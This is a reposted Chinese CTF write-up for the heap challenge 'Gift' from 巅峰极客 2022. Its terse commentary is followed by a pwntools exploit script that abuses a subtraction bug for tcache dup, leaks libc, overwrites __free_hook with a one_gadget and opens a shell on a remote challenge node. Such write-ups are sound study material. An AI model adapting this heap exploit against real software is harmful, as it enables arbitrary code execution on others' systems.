网站首页 全球最实用的IT互联网站!

人工智能P2P分享Wind搜索发布信息网站地图标签大全

当前位置:诺佳网 > 软件工程 > 后端开发 > Python >

[巅峰极客 2022]Gift+堆栈重叠+整数溢出

时间:2025-05-26 19:29

人气:

作者:admin

标签:

导读:[巅峰极客 2022]Gift 这个是他的一个主要代码在我们分析的时候会发现有功能的只有三个函数体因此我们主要看这里几个就可以了 因此我们查看数据的时候会发现几个漏洞点一个是那么我...

这个是他的一个主要代码在我们分析的时候会发现有功能的只有三个函数体因此我们主要看这里几个就可以了

因此我们查看数据的时候会发现几个漏洞点一个是那么我们先看源代码

在这几个函数体中我们会发现bargain这个函数他有着要给对堆块数据的一个相减的作用因此我们可以使用这个函数实现要给tacahe dup的一个攻击手法

因此我们这附上核心代码

io = remote("node4.anna.nssctf.cn", 28962)
choose(1, b"a" * 0xa0 + p64(0) + p64(0x471))  # 0
choose(1, "bbbbb")  # 1
choose(1, "cccc")  # 2

remove(0)
remove(2)
bargain(2, -0xc0)

choose(1, "/bin/sh")  # 3
choose(1, "eeee")  # 4
# gdb.attach(io)
choose(1, "ffff")  # 5
choose(1, b"g" * 0xd0 + p64(0) + p64(0x21))  # 6
# debug()

remove(4)
check(4)
ru("cost: ")
libc_base = int(ru('\n')[:-1], 10) - 0x3ebca0
slog("libc_base", libc_base)

libc = ELF("/home/fofa/桌面/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6")
free_hook = libc.sym['__free_hook'] + libc_base
system_addr = libc.sym['system'] + libc_base
slog("system_addr", system_addr)
remove(5)
remove(1)
choose(2, b'\x00' * 0x38 + p64(0x111) + p64(free_hook - 0x10))  # 7
choose(1, "aaa")  # 8
one_gadgets = [0x4f2a5, 0x4f302, 0x10a2fc]
shell = one_gadgets[1] + libc_base
choose(1, p64(shell))  # 9
remove(3)
io.interactive()
温馨提示:以上内容整理于网络,仅供参考,如果对您有帮助,留下您的阅读感言吧!
相关阅读
本类排行
相关标签
本类推荐

CPU | 内存 | 硬盘 | 显卡 | 显示器 | 主板 | 电源 | 键鼠 | 网站地图

Copyright © 2025-2035 诺佳网 版权所有 备案号:赣ICP备2025066733号
本站资料均来源互联网收集整理,作品版权归作者所有,如果侵犯了您的版权,请跟我们联系。

关注微信